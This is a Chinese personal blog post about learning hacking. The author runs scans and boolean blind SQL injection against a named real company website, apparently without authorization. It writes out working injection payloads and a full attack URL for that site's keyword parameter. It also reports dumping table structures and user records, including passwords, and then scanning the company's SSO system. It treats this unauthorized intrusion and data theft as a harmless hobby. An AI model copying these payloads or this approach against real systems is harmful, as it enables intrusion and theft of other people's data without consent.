从零自学黑客技术随笔

只记录自学过程的点点滴滴。

 

前言

一直以来都想学习黑客技术,也就是安全方面的技术,但没有付诸实践,也因为是码农老加班,工作上没有闲暇时间。作为低端屌丝码农,没有收益的事情是不会去做的。况且,砖搬多了,是会丧失对技术对热情的,休息时间宁愿睡觉或者是出去玩。另一方面也是生存压力大,还不能随心所欲的追求自己的兴趣,凡事优先考虑的是有没有收益。

最近失业在家,无所事事,重捨兴趣,无他,酷就够了。想到就做,也特意把学习过程写下来,屌丝所写,水平太low的话,望一笑置之。

摸索

门外汉想进门,没有师傅带着,那就四处收集资料。网上众说纷纭,甚至有说直接去看高校网络安全的教学计划,扯淡。在 知乎:如何进行系统的黑客学习? 这个问题下有了个第一印象。最重要的是找漏洞,找到漏洞后,进行攻击。

每一步都有各种各样都手法,漏洞也是千奇百怪,知道原理之后,可以自己写代码去扫描、去攻击,也可以找工具去攻击,当然咱屌丝还没到自己写工具的境界。我认为,学习要不断制定小目标,然后达成得到反馈,这有助于坚持下去,提升兴趣。上来就从逆向工程、密码学开始学起的,那是学霸,咱就别强学了。所以,找了个网站,把它当成目标,看看我能做什么。

第一个目标

知乎那个问题下面,有介绍好些软件,要搞目标那首先就得看看它有什么漏洞,尝试了好几款软件之后,用 Acuntix 扫到了漏洞。Acuntix安装很简单,安装完了就直接对目标一顿扫描,参考 CSDN:Acunetix 11-发起一个扫描 。

直接上扫描结果。



有三个 Blind SQL Injection 这样的漏洞,网上一查得知这叫 SQL盲注 ,点进去看


大概说  keyword=e%' AND 3*2*1=6 AND '000lEpQ'!='000lEpQ% 通过了,下面还有测试的列表。这是什么意思呢?通过了解,哦,原来这就是所谓的盲注。

语句可以简化成 keyword=e' AND 1=1 AND 'a'!='z ,按照这个漏洞推测,后端的码农写法大概是这样:

String k = request.getParameter("keyword");
String sql = "select * from t where keyword like '%" + k +"%'";
// query(sql);...... 

那这里就有漏洞了,如果我们提交的参数是 keyword=e' AND 1=1 AND 'a'!='z ,那后端拼接之后的 sql 就成了这样

select * from t where keyword like '%e' AND 1=1 AND 'a'!='z%' 

这个sql会被发到数据库去执行查询,但这个有什么用呢?假设 keyword=e 的时候,返回的数据是 啦啦啦,发送 keyword=e' AND 1=1 AND 'a'!='z 的时候也是返回 啦啦啦, 并且 发送 keyword=e' AND 0=1 AND 'a'!='z 的时候返回 空 ,那很明显,我们可以知道数据库执行 AND 1=1 这里的语句结果是true 还是 false,通过这个,我们就可以做一些事情了,这也就是boolean型盲注。至于 AND 'a'!='z 是为了使语句拼凑完整,因为后面跟着 +"%'",让sql引号闭合。

接下来我们只需在浏览器发送我们的请求即可:

https://www.dinghuo123.com/learning/list?keyword=e' AND exists(select * from information_schema.tables) AND 'a'!='z% 

具体结果:

keyword=e' AND exists(select * from information_schema.tables) AND 'a'!='z%    --true
keyword=e' AND not exists(select * from information_schema.tables) AND 'a'!='z%    --false 

嗯,mysql 数据库。

keyword=e' AND (select count(distinct table_schema) from information_schema.tables)>3 AND 'a'!='z%    --true
keyword=e' AND (select count(distinct table_schema) from information_schema.tables)>4 AND 'a'!='z%    --false 

嗯,一共4个数据库。一般知道 mysql 有三个默认数据库 information_schema, mysql, performance_schema, 很显然只有一个是用户的数据库。

keyword=e' AND (select length(a.table_schema) from (select distinct table_schema from information_schema.tables) a limit 0,1) >17 AND 'a'!='z%    --true
keyword=e' AND (select length(a.table_schema) from (select distinct table_schema from information_schema.tables) a limit 0,1) >18 AND 'a'!='z%    --false 

嗯,第一个数据库名称长度 18个字符。以此类推,第二个长度5,第三个长度18,第四个长度8。分别尝试默认的三个数据库,第四个长度8的,就是用户的数据库。接下来可以使用字符串函数截取单个字符,比较ascii的大小,采用二分法,确定每一个字符,最终得到数据库名称。

上工具

到此,我都是纯手工,在浏览器操作,但到这一步,还手工操作,那我这么些年砖就白搬了,用自己习惯的语言写个简单的程序跑,也是很简单的。但咱是谁,学渣懒癌!能拿来就用的,坚决不自己写!所以,开始到处找工具,好多工具不会用,不知所云,还有一些就是只有linux版本。

无奈,用虚拟机安装个linux先,之前有接触过一点点linux,也仅仅是接触过而已,搜索得知 kali linux 这个版本预装了好多工具可以用,果断搞一个。

 

 

嗯,确实装了很多工具。工具一个一个百度,试用,好像bbqsql很厉害,但不知道为什么,我的跑不起来,GitHub里面也有人反馈,但好像没人解决。 GitHub:bbqsql does not run? 放弃,换另一个,到最后就没一个能用的。sqlsus感觉能行,最后也是报错,我感觉配置是没有问题的,搞不懂,以后搞源码研究研究。


最后,无意中发现一个软件叫 GitHub:超级SQL注入工具 ,名字略土鳖,C#写的,一点也不酷。试着用一下,别说,还真好使!


连表结构都拉出来拉。还获取了部分user数据:


密码不是md5,也不知道是什么,user表就11条数据,应该不是什么重要的库。难怪请求这么频繁,也不封ip,危险字符也不过滤。最重要的,估计那个查询是实习生写的。

到了这一步,没法继续下一步了,就收手了。

然后作死扫描了他们的业务系统 sso.dinghuo123.com,也发现了3个漏洞,同时,也被封IP了,哭。。。


查了查,好像是跨域方面的漏洞,大概是自己要做个站,用户访问了他们的站再访问我们的站,那我们的js就可以获取他们站的数据,不知道理解的对不对。如果是这样的话,那这几个漏洞就没啥意义。

到这里,第一波实操就结束了,不结束也没办法,ip都被封了。。

一个真实的体会就是,某度真的很烂,很多东西搜不出有用的东西。又花了很多时间架梯子,google真的是码农必备,结果准确多了。

推荐个免费高速的梯子:叮当加速

以上就是初次学习的体会,也算有了个了解。

下一步,准备先把linux学好,这样写东西和用别人写的东西才方便,或者改别人的代码,参与编辑GitHub,所以,又要学学Python。路还很长。

猜你喜欢

转载自www.cnblogs.com/youngwang/p/10051088.html